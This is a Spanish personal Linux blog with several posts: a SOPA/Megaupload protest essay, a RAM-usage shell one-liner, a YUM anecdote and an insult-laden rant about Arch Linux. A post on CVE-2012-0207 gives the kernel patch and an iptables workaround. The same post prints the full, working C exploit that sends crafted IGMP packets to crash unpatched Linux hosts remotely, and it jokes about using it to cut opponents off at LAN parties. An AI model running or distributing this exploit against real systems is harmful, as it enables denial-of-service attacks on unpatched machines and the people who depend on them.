22 ene 2012

Fedora y Parabola Linux se suman al blackout y protesta | Megaupload, FileSonic, ninjavideo.net, quien sigue?

Fedora y Parabola Linux se suman, el resto?

No es curioso para mi, pero quizá si para otros, el hecho de que Fedora, sea la única distro que se sumo a poner el banner de stop SOPA el día 18 de Enero de 2012 o bien "Stop Internet Censorship" incluso hasta el día de hoy. Podrán ver en cada página del Proyecto Fedora, un banner que dice claramente, Stop Internet Censorship.
No quiero con esto iniciar un flame war, pero me gustaria remarcar, que Debian y otras que dicen ser FOSS en su modelo, Debian con su kernel libre, no solo no se sumo a nada, sino que no tiene planes de hacerlo.

Otra distro que se sumo a lo que esta pasando y es de público conocimiento, es Parabola Linux, la versión 100% libre de ArchLinux, donde puede verse su banner también.
Dirán, que tiene Fedora de FOSS?, bueno, para los que no saben, la instalación base de Fedora, no trae nada que no sea libre, excepto los blob del kernel, el resto, incluso rpmfusion, posee un free y non free, haciendo libre de responsabilidad del non free Fedora.


SOPA o no SOPA?

Si bien el cierre de Megaupload no tiene nada que ver con SOPA (al menos eso les dicen a ustedes mis lectores), yo les digo lo contrario, porque de estas cosas conozco y mucho.
Como la ley SOPA y PIPA fueron cajoneadas, para evitar problemas y mala imagen, dada la protesta de wikipedia, google y otros, recordemos que Obama está en pleno plan de releección, y no es bueno para el, una mala imagen, si bien el 80% diría yo, de los yankee apoya SOPA o bien no le interesa, el otro 20% si, y un votante, es algo no?.


Como sucede siempre, una cosa se tapa, otra sucede, aca pasó esto.
Cajonean la ley SOPA, PIPA y ACTA para no manchar la imagen de Obama, pero inventan una "Conspiración Mundial" contra EEUU, asi lo calificó al FBI, al tema Megaupload, donde se menciona a Taringa.net, seriesyonkies, ninjavideo.net (que YA FUE CERRADA), y otras. Al día de la fecha, FileSonic se encuentra imposibilidato de compartir archivos, solo se permite dentro de la misma cuenta de usuario, no link externos.

Entonces, que está pasando?, es muy claro, se cajonea una ley controversial y que da una mala imagen, para actuar rapidamente de la MISMA forma que indica esa ley, inventando un caso que no existe, sobre una conspiracion mundial contra EEUU.
Ahora, a continuacion, les dejo una reflexión de un tipo, no se quien es pero comparto lo que dice, las imagenes de Fedora y Parabola Linux, asi como un video comico y no tanto sobre Hitler se entera del cierre de Megaupload. Si bien el video es cómico, lo que dice el texto, es 100% real.
Pregunto yo, vamos a dejar que los reputos servicios de EEUU controlen el mundo? y si, me refiero al FBI y la CIA, porque yo no señores, y lo digo en serio, creo firmemente que compartir es bueno, que no es pirateria, y en caso de que haya un cataclismo en internet y todo vuelva a ser como en el año 1995, volveremos a traficar en ftp privados como haciamos antes.

Saludos

PD: Pido encarecidamente que miren el video del notero así como de Anonymous




Video sobre lo que se viene



Hitler se entera que cierran Megaupload



YAPA:

Mensaje de Anonymous al pueblo de EEUU


19 ene 2012

0day Linux IGMP Lan crash CVE-2012-0207 + Patch

El dia de hoy se publicó en seclist un 0day que usa el IGMP para crashear una red en LAN.
El bug afecta a todos los kernel Linux 2.6.36 o superiores, dado que la falla o regresion, fue introducida en el 2.6.36.
Si bien es solo en LAN, como dijo uno de los chicos de seclist acerca de "ah bueno es solo en lan", cito textual:

"Depends. Your network security people ever read BCP38? :)"


Eso es básicamente, el spoof de red, es decir, hacer creer al host remoto que el paquete proviene de la misma LAN.
A continuación un video del PoC, y luego comentaré algo.









Reporte de commit en kernel.org:


http://www.kernel.org/pub/linux/kernel/v3.0/ChangeLog-3.2.1
commit 25c413ad0029ea86008234be28aee33456e53e5b
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Jan 9 14:06:46 2012 -0800

    igmp: Avoid zero delay when receiving odd mixture of IGMP queries
 
    commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.
 
    Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
    behavior on v3 query during v2-compatibility mode') added yet another
    case for query parsing, which can result in max_delay = 0.  Substitute
    a value of 1, as in the usual v3 case.
 
    Reported-by: Simon McVittie <smcv@debian.org>
    References: http://bugs.debian.org/654876
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Signed-off-by: David S. Miller <davem@davemloft.net>

Parche, por si alguno quiere aplicarlo en caso de no tener updates y su kernel no es 3.x

From: Ben Hutchings <ben@decadent.org.uk>

commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.

Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
behavior on v3 query during v2-compatibility mode') added yet another
case for query parsing, which can result in max_delay = 0.  Substitute
a value of 1, as in the usual v3 case.

Reported-by: Simon McVittie <smcv@debian.org>
References: http://bugs.debian.org/654876
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>

---
 net/ipv4/igmp.c |    2 ++
 1 file changed, 2 insertions(+)
--- a/net/ipv4/igmp.c
+++ b/net/ipv4/igmp.c
@@ -875,6 +875,8 @@ static void igmp_heard_query(struct in_d
  * to be intended in a v3 query.
  */
  max_delay = IGMPV3_MRC(ih3->code)*(HZ/IGMP_TIMER_SCALE);
+ if (!max_delay)
+ max_delay = 1; /* can't mod w/ 0 */
  } else { /* v3 */
  if (!pskb_may_pull(skb, sizeof(struct igmpv3_query)))
  return;




Bueno, se puede ver en el video claramente como el sistema remoto o atacado crashea de forma inmediata.
Respecto a lo que me concierne, cabe comentar, que Fedora 15 y 16 ya fixearon sus kernel el dia 11 de Enero de 2012, detalle:

"Correction.The 3.1.9 kernel contains corresponding backport commit dd9f9823b61ce894163433380ffcfc28eaf6e9c5. The 3.2.1 kernel contains corresponding backport commit 25c413ad0029ea86008234be28aee33456e53e5b."All Fedora branches are already fixed."

Ahora bien, RHEL 6.1 aun no tiene patch, openSUSE tampoco, Ubuntu y muchos mas, asi que, si quieren divertirse en una LAN party, dejando sin red al oponente, es ideal, otros fines, son delictivos y este post no es para fomentar el hack ilegal, que quede bien claro.

El que tenga un sistema sin update de kernel, puede bajar el 3.2.1 o ultimo stable y compilarlo, o bien aplicar el parche a igmp.c o bien si es mas vago, usar una regla de iptables como esta:

iptables -A INPUT -i <interface> -p igmp -j DROP (generalmente eth0 o wlan0)

Codigo del exploit:



/*
** linux-undeadattack.c
** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
** CVE-2012-0207
** credits to Ben Hutchings:
** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
** written By Kingcope
** Year 2012
** Ripped & modified code written by Firestorm
** Tested against * OpenSuSE 11.4 system
**  * Recent Ubuntu Distro
**
** Example:
** ./undeadattack 192.168.2.16 192.168.2.3
** The Linux Kernel at the remote side will Panic
** when sent over the network :>
** ENJOY!
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


struct iphdr
{
  unsigned char ihl:4, version:4, tos;
  unsigned short tot_len, id, frag_off;
  unsigned char ttl, protocol;
  unsigned short check;
  unsigned int saddr, daddr;
  unsigned int options1;
  unsigned int options2;
};


struct igmp_query {
        unsigned char type;
        unsigned char maxresponse;
        unsigned short csum;
        unsigned int mcast;
        char padding[40];
};


unsigned short in_chksum(unsigned short *, int);
long resolve(char *);


long resolve(char *host)
{
  struct hostent *hst;
  long addr;


  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);


  memcpy(&addr, hst->h_addr, hst->h_length);


  return(addr);
}


int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  struct iphdr *ip;
  struct igmp_query *igmp;
  long daddr, saddr;
  int s, i=0, c, len, one=1;
  char buf[1500];


  if (argc < 3)
  {
    printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
  "credits to Ben Hutchings\nwritten by Kingcope\n"
  "Ripped & modified code written by Firestorm\n");
    printf("Usage: %s <src> <dst>\n", *argv);
    return(1);
  }


  daddr = resolve(argv[2]);
  saddr = resolve(argv[1]);

  memset(buf, 0, 1500);
  ip = (struct iphdr *)&buf;
  igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  ip->ihl = 7;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = htons(sizeof(struct iphdr)+8);
  ip->id = htons(18277);
  ip->frag_off=0;
  ip->ttl = 1;
  ip->protocol = IPPROTO_IGMP;
  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
  ip->saddr = saddr;
  ip->daddr = daddr;
  ip->options1 = 0;
  ip->options2 = 0;
  igmp->type = 0x11;
  igmp->maxresponse = 0xff;
  igmp->mcast=inet_addr("224.0.0.1");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 8);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  close(s);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  ip->id = htons(18278);
  ip->tot_len = sizeof(struct iphdr)+12;
  igmp->type = 0x11;
  igmp->maxresponse = 0;
  igmp->mcast=inet_addr("0.0.0.0");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 12);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}


unsigned short in_chksum(unsigned short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }


   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }


   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

Disclaimer:

El codigo y patch es para un PoC, con fines educativos, en un ambiente controlado, cualquier uso para activivades no legales, no se responsabiliza este blog.

16 ene 2012

Script para ver el uso de ram por proceso

Es un simple script para ver el uso de ram de cada proceso desde terminal, pueden meterlo en un script en /usr/local/bin y tenerlo como comando no?, como ser, ver_mem. Solo copien y peguen en un terminal y vean su magia.
Aquí el script:

ps aux | awk '{print $6" "$11,$12,$13,$14}' | egrep -v "0.*\[.*\]" | awk '{print $1/1024" Mb --> "$2,$3,$4,$5}' | sort -g

Yum, el package manager de Fedora, RHEL y derivados | Sorpresa



Algunos saben y otros no, en mi desktop uso Fedora KDE spin como distro principal, y en mi notebook SL6.1 (scientific linux 6.1), otro clon de RHEL, como lo es CentOS, solo que me decanto por SL por temas personales que no van a este post.

Más adelante me explayaré mas sobre YUM y sus bondades frente a otros package manager, pero hoy se me ocurrio hacer esta entrada solo para mostrar algo que poco se ve en muchas distro.

Transmission, el conocido cliente de torrent GTK o CLI, no viene en los repos de RHEL ni de casualidad, como queria usarlo hace unos meses, lo instalé usando rpm -ivh con los rpm y dependencias de FC13, dado que RHEL6.x es derivado de Fedora 12 + Fedora 13.

Asi que a mano los instale, sin usar yum, solo rpm.

Para mi sorpresa, el equipo de EPEL, metio en sus repos a Transmission*, y para contento mio, y algo que no sabia, YUM fue capaz de leer la DB de rpm, ver el package transmission, darse cuenta que habia un update en EPEL (el mismo paquete pero con version mas reciente), y actualizarlo.

Asi que, una bondad mas de YUM, tan criticado por estar escrito en Python, es que si instalan algo usando rpm que no este en su distro, pero luego es introducido en algun repo, YUM avisará de la version mas actual y ofrecerá hacer el update. Interesante no?:




Updating:

transmission-cli i686 2.13-1.el6 epel 193 k

transmission-common i686 2.13-1.el6 epel 526 k

transmission-gtk i686 2.13-1.el6 epel 639 k

-----

Updating : transmission-common-2.13-1.el6.i686 1/6
Updating : transmission-gtk-2.13-1.el6.i686 2/6
Updating : transmission-cli-2.13-1.el6.i686 3/6
Cleanup : transmission-cli-1.93-1.fc13.i686 4/6
Cleanup : transmission-gtk-1.93-1.fc13.i686 5/6
Cleanup : transmission-common-1.93-1.fc13.i686 6/6

Nota: Notese el fc13.i686 lo que data que si habia instalado transmission usando koji de fedora con sus rpm

Ahora abro transmission y veo...

Acerca de:

Transmission 2.13 (11501)

Eso es todo por hoy, haré una proxima entrada comentando pros y contras de YUM, asi como su uso, plugins y la diferencia con RPM o up2date.

11 ene 2012

GPG ArchLinux - Pacman 4 (?)

Perdón a los arch lovers, pero no puedo evitar orinarme de la risa al ver esto.
Haciendo nada, en la web, en realidad, buscando versiones de paquetes de Arch en sus repos, me di con pacman 3.5 outdated, fuera de fecha, asi que me sugeria el 4 (aclaro que NO uso arch, solo miraba sus repos), cuando lo veo, en sus dependencias dice gpgme, dije, wow, toda una noticia, ya incluyeron GPG en los paquetes, o sea, firmados, cosa que hace como 4 años se le critica.
Cuando vi el G+ de Ionut Biru no pude evitar reirme sin parar, dado que el anuncio lo hizo el dia 14/10/2011 y siendo 11/01/2012 aun esta en testing.
Para colmo una persona le comenta, que seria bueno una stable branch, a lo que el algo ofuscado responde que si insinua que Arch no es estable..... no!!! sino que esta en testing hace 3 meses, demoraron 4 años y si, ademas agrego yo, no es estable como distro que ellos critican, como Fedora.
Dejo imagenes a continuacion, puteadas insultos, banes de los arch lovers, por mail, en comment, o bien por IRC en Freenode, mi nick ya lo saben.
Saludos a falconindy (irc.freenode.net) que me baneo de #archlinux (mejor asi no leo mas cosas decadentes) porque le pasaron el dato de mi blog, que se meta el ban por el culo, que le va a sentar bien, a ver si hace algo decente.


Noten claramente el /testing/ de pacman 4